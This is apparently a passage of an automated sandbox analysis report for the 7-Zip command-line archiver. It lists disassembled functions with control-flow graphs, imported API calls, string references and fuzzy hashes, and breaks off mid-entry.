                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove$AddressProc
                                                                                                                                                                                                                                                                                    • String ID: 7z.dll$Codecs\$Formats\$SetCodecs
                                                                                                                                                                                                                                                                                    • API String ID: 4053071709-2499791885
                                                                                                                                                                                                                                                                                    • Opcode ID: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
                                                                                                                                                                                                                                                                                    • Instruction ID: 8a306e3007ce9e27018320c15e35ef580907bb825b767bf60564bc5a2c137721
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A1B1C1762046C296CB20EB61E9903AFB360F386B8CF505112EBDE47B25DF78C969D701
                                                                                                                                                                                                                                                                                    Function 00CC1850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3343 cc1850-cc1886 EnterCriticalSection 3344 cc1888-cc188e call ccb1c8 3343->3344 3345 cc18b1-cc18bb 3343->3345 3352 cc1893-cc18ac 3344->3352 3346 cc18bd call c822e4 3345->3346 3347 cc18c2-cc18c4 3345->3347 3346->3347 3350 cc18ca-cc18d2 3347->3350 3351 cc1991-cc199e 3347->3351 3353 cc191a-cc192b 3350->3353 3354 cc18d4-cc18da 3350->3354 3355 cc1a4e-cc1a57 LeaveCriticalSection 3351->3355 3356 cc19a4-cc19a7 3351->3356 3352->3345 3360 cc192d-cc193a call c82300 3353->3360 3361 cc196a-cc1974 3353->3361 3354->3353 3357 cc18dc-cc18e2 3354->3357 3358 cc1a59-cc1a62 3355->3358 3356->3355 3359 cc19ad-cc19b7 3356->3359 3364 cc18ed 3357->3364 3365 cc18e4-cc18eb 3357->3365 3363 cc1a31-cc1a4c LeaveCriticalSection 3359->3363 3366 cc19b9-cc19d7 call c82300 fputs 3359->3366 3360->3361 3372 cc193c-cc1965 fputs call c826a0 call c82300 3360->3372 3362 cc197a-cc1981 3361->3362 3361->3363 3362->3363 3369 cc1987-cc198c call c822e4 3362->3369 3363->3358 3370 cc18f4-cc18fe 3364->3370 3365->3370 3376 cc19d9-cc19f0 fputs 3366->3376 3377 cc19f2-cc1a14 call c86618 call c82320 free 3366->3377 3369->3363 3370->3361 3374 cc1900-cc1913 fputs call c82300 3370->3374 3372->3361 3384 cc1918 3374->3384 3381 cc1a19-cc1a2c call c82300 call c822e4 3376->3381 3377->3381 3381->3363 3384->3361
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32 ref: 00CC1877
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC190A
                                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32 ref: 00CC1A44
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB1C8: memset.MSVCRT ref: 00CCB20D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB1C8: fputs.MSVCRT ref: 00CCB232
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC194D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C826A0: fputs.MSVCRT ref: 00C826C1
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC19CB
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC19EA
                                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32 ref: 00CC1A51
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82300: fputc.MSVCRT ref: 00C82311
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC1A14
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
                                                                                                                                                                                                                                                                                    • String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
                                                                                                                                                                                                                                                                                    • API String ID: 676172275-580504279
                                                                                                                                                                                                                                                                                    • Opcode ID: 1063b9a5055dd18bc7b63b119edf035ddb523fc5d3a33ba310829bff8c9b94f0
                                                                                                                                                                                                                                                                                    • Instruction ID: 769c96edd24122ae97123a2a2a638d07583f6761a09cde45d732121fe17486dc
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1063b9a5055dd18bc7b63b119edf035ddb523fc5d3a33ba310829bff8c9b94f0
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DB51C772345A81E2EB1DEF26D9A4BAC6320F745B54F48422ADF2E07762CF38D5A5D304
                                                                                                                                                                                                                                                                                    Function 00CA38E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3392 ca38e8-ca3977 call ca1700 call ca373c memmove 3397 ca3979-ca398d call ca3864 free 3392->3397 3398 ca3992-ca39a5 3392->3398 3405 ca3cb6-ca3cc9 3397->3405 3400 ca39ab 3398->3400 3401 ca3a30-ca3a3d call ca3864 3398->3401 3403 ca39ae-ca39c2 3400->3403 3411 ca3a3f-ca3a64 call ca02a0 _CxxThrowException 3401->3411 3412 ca3a65-ca3a77 3401->3412 3406 ca3a1d-ca3a25 3403->3406 3407 ca39c4-ca39ec call ca09e0 call c82130 3403->3407 3406->3403 3409 ca3a27-ca3a2b 3406->3409 3424 ca39fb 3407->3424 3425 ca39ee-ca39f9 call c83314 3407->3425 3409->3401 3411->3412 3413 ca3a79-ca3a7c 3412->3413 3414 ca3ae1-ca3b27 call cb5f5c call ca13e8 * 2 3412->3414 3418 ca3a7e-ca3aac call c83208 call c86e10 call c82130 3413->3418 3439 ca3c2a-ca3c46 free 3414->3439 3440 ca3b2d-ca3b30 3414->3440 3445 ca3aae-ca3abb call c83314 3418->3445 3446 ca3abd 3418->3446 3430 ca39fe-ca3a16 call c8b8f0 free 3424->3430 3425->3430 3430->3406 3442 ca3c48 3439->3442 3443 ca3c76-ca3c84 free 3439->3443 3444 ca3b33-ca3b56 call c82130 3440->3444 3447 ca3c4c-ca3c5f 3442->3447 3448 ca3c88-ca3c95 3443->3448 3460 ca3b68 3444->3460 3461 ca3b58-ca3b66 call c83314 3444->3461 3451 ca3ac0-ca3adf call c8b8f0 free 3445->3451 3446->3451 3452 ca3c71-ca3c74 3447->3452 3453 ca3c61-ca3c6c free * 2 3447->3453 3454 ca3ca7-ca3caa 3448->3454 3455 ca3c97-ca3ca2 free * 2 3448->3455 3451->3414 3451->3418 3452->3443 3452->3447 3453->3452 3454->3448 3459 ca3cac-ca3cb4 free 3454->3459 3455->3454 3459->3405 3464 ca3b6b-ca3ba1 call c82130 3460->3464 3461->3464 3468 ca3bb3 3464->3468 3469 ca3ba3-ca3bb1 call c83314 3464->3469 3471 ca3bb6-ca3bc6 3468->3471 3469->3471 3473 ca3bc8-ca3be2 call c84338 3471->3473 3474 ca3be4-ca3bf2 3471->3474 3473->3474 3478 ca3bfa-ca3c29 call ca02a0 _CxxThrowException 3473->3478 3474->3444 3476 ca3bf8 3474->3476 3476->3439 3478->3439
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA373C: free.MSVCRT ref: 00CA37FB
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT ref: 00CA396F
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA3986
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA3A11
                                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT ref: 00CA3A5F
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA3AD3
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA3864: free.MSVCRT ref: 00CA3877
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA3864: free.MSVCRT ref: 00CA3892
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA3864: free.MSVCRT ref: 00CA389B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA3864: free.MSVCRT ref: 00CA38C6
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA3864: free.MSVCRT ref: 00CA38CE
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrowmemmove
                                                                                                                                                                                                                                                                                    • String ID: Cannot find archive$Duplicate archive path:
                                                                                                                                                                                                                                                                                    • API String ID: 3934437811-2067063536
                                                                                                                                                                                                                                                                                    • Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
                                                                                                                                                                                                                                                                                    • Instruction ID: d330d9e8661a91785504456c91151f2ef382bd6abe617ba27d22dcc2dd9dffd7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3BA1B572315BC582CA20EB16E89465EB3A1F786B98F505511FF9E07728DF38CA46DB04
                                                                                                                                                                                                                                                                                    Function 00CB42A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3481 cb42a2-cb42c0 3483 cb42c2-cb42d0 3481->3483 3484 cb42d5-cb42d8 3481->3484 3483->3484 3485 cb42da 3484->3485 3486 cb42e0-cb43ab call ca40c4 memmove call c83404 call cb3a20 3484->3486 3485->3486 3494 cb45d8-cb468f call c83404 * 3 free * 2 call ca419c 3486->3494 3495 cb43b1-cb43b3 3486->3495 3535 cb4698-cb46a0 3494->3535 3536 cb4691-cb4697 3494->3536 3497 cb43b9-cb43d7 call cac684 3495->3497 3498 cb46c5-cb46f4 free * 2 call ca419c 3495->3498 3508 cb4728-cb4757 free * 2 call ca419c 3497->3508 3509 cb43dd-cb43ef call c82130 3497->3509 3506 cb46fd-cb4705 3498->3506 3507 cb46f6-cb46fc 3498->3507 3513 cb470e-cb4719 3506->3513 3514 cb4707-cb470d 3506->3514 3507->3506 3522 cb4759-cb475f 3508->3522 3523 cb4760-cb4768 3508->3523 3525 cb4403 3509->3525 3526 cb43f1-cb4401 call cacaac 3509->3526 3519 cb471b 3513->3519 3520 cb4721-cb4723 3513->3520 3514->3513 3519->3520 3521 cb47fe-cb4811 3520->3521 3522->3523 3530 cb476a-cb4770 3523->3530 3531 cb4771-cb477c 3523->3531 3528 cb4406-cb4441 call c8b8f0 free * 2 call ca419c 3525->3528 3526->3528 3551 cb444a-cb4452 3528->3551 3552 cb4443-cb4449 3528->3552 3530->3531 3537 cb477e 3531->3537 3538 cb4784-cb4786 3531->3538 3543 cb46a9-cb46b4 3535->3543 3544 cb46a2-cb46a8 3535->3544 3536->3535 3537->3538 3538->3521 3540 cb47f2-cb47fb 3538->3540 3540->3521 3543->3540 3545 cb46ba-cb46c0 3543->3545 3544->3543 3545->3540 3553 cb445b-cb446c 3551->3553 3554 cb4454-cb445a 3551->3554 3552->3551 3556 cb3fa9-cb4033 memmove 3553->3556 3557 cb4472-cb4478 3553->3557 3554->3553 3560 cb4035-cb4052 memmove 3556->3560 3561 cb4054-cb4072 memmove 3556->3561 3557->3556 3563 cb4078-cb40e9 memmove call cac0fc call c83404 * 2 call cb3d58 3560->3563 3561->3540 3561->3563 3573 cb40ee-cb40f2 3563->3573 3574 cb40f8-cb410a call c82130 3573->3574 3575 cb447d-cb4480 3573->3575 3582 cb411e 3574->3582 3583 cb410c-cb411c call cacaac 3574->3583 3576 cb450c-cb451b call ca419c 3575->3576 3577 cb4486-cb450b call c83404 * 3 3575->3577 3576->3521 3577->3576 3588 cb4121-cb413a call c8b8f0 call ca419c 3582->3588 3583->3588
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-3916222277
                                                                                                                                                                                                                                                                                    • Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
                                                                                                                                                                                                                                                                                    • Instruction ID: c886085b8238bc03e8774f8bd2a87ebda7b585260ac8c476da2ccabf370dc1e2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D7D13F33209AC496CB25EB65E0942AEBB60F7C6B44F545016DB8E43B2ADF7CC949DB01
                                                                                                                                                                                                                                                                                    Function 00CA91E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AddressProc$memmove
                                                                                                                                                                                                                                                                                    • String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
                                                                                                                                                                                                                                                                                    • API String ID: 2879976980-73314117
                                                                                                                                                                                                                                                                                    • Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
                                                                                                                                                                                                                                                                                    • Instruction ID: 3e48aec986f1ed3f7afb245b60ed6d79f9c411fc0af78d53f60704124e4f75bf
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 47413776615A4296EF30DF25E880B9DB371F785788F404626EB9E83B64DF78C949CB00
                                                                                                                                                                                                                                                                                    Function 00CC1BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC1CF9
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB1C8: memset.MSVCRT ref: 00CCB20D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB1C8: fputs.MSVCRT ref: 00CCB232
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82300: fputc.MSVCRT ref: 00C82311
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC1DEE
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC1F07
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC1F5C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CC171C: fputs.MSVCRT ref: 00CC1744
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CC171C: fputs.MSVCRT ref: 00CC1758
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CC171C: free.MSVCRT ref: 00CC176B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C86618: FormatMessageW.KERNEL32 ref: 00C86676
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C86618: LocalFree.KERNEL32 ref: 00C86698
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: free.MSVCRT ref: 00C8237E
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: fputs.MSVCRT ref: 00C823B8
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: free.MSVCRT ref: 00C823C4
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC1F86
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$free$FormatFreeLocalMessagefputcmemset
                                                                                                                                                                                                                                                                                    • String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
                                                                                                                                                                                                                                                                                    • API String ID: 2553544393-24972044
                                                                                                                                                                                                                                                                                    • Opcode ID: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
                                                                                                                                                                                                                                                                                    • Instruction ID: 10d4a98a9e4e9fc5e628b74941d4c7e6432bd32481fadd79eb6a4cb4cdb8f358
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7FA19176300AC49ACA29EF73D594BADB360F746B84F08412ADF6E47612DF78D9A4D304
                                                                                                                                                                                                                                                                                    Function 00CC949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrowfputs
                                                                                                                                                                                                                                                                                    • String ID: Decoding ERROR
                                                                                                                                                                                                                                                                                    • API String ID: 117389134-2585761706
                                                                                                                                                                                                                                                                                    • Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
                                                                                                                                                                                                                                                                                    • Instruction ID: fdd277d8f247abeff9f8d3e5e2ac19952e7dfaef46c27e61e09c206ac005b9b2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 853106723159C481DA30EB25E988BAD6361F781788F54562ADA6E47758DF38CD82CB01
                                                                                                                                                                                                                                                                                    Function 00CAA7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C86464: FreeLibrary.KERNELBASE(?,?,?,00C864E7), ref: 00C86475
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: free.MSVCRT ref: 00C83431
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: memmove.MSVCRT ref: 00C8344C
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32 ref: 00CAA8CA
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32 ref: 00CAA8E8
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32 ref: 00CAA908
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAA985
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAA996
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AddressProcfree$FreeLibrarymemmove
                                                                                                                                                                                                                                                                                    • String ID: CreateObject$SetCaseSensitive$SetLargePageMode
                                                                                                                                                                                                                                                                                    • API String ID: 852969883-606380122
                                                                                                                                                                                                                                                                                    • Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
                                                                                                                                                                                                                                                                                    • Instruction ID: 9324f24bdc7c27dafff07b3fd6c8210e9e9cbf0b45cfb0b7f1fa567219a146f3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 32418226200B4196EB21EF36E85075EA360FB85B9CF488525DF9A477A5DF38D946C300
                                                                                                                                                                                                                                                                                    Function 00CCB480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • strcmp.MSVCRT ref: 00CCB723
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CCB743
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C838C8: memmove.MSVCRT(00C8A0E5), ref: 00C83907
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83A64: memmove.MSVCRT ref: 00C83AAA
                                                                                                                                                                                                                                                                                    • GetTickCount.KERNEL32 ref: 00CCB49E
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: free.MSVCRT ref: 00C83431
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: memmove.MSVCRT ref: 00C8344C
                                                                                                                                                                                                                                                                                    • strcmp.MSVCRT ref: 00CCB4E3
                                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 00CCB502
                                                                                                                                                                                                                                                                                    • strcmp.MSVCRT ref: 00CCB568
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: memmovestrcmp$CountTickfputsfreewcscmp
                                                                                                                                                                                                                                                                                    • String ID: .
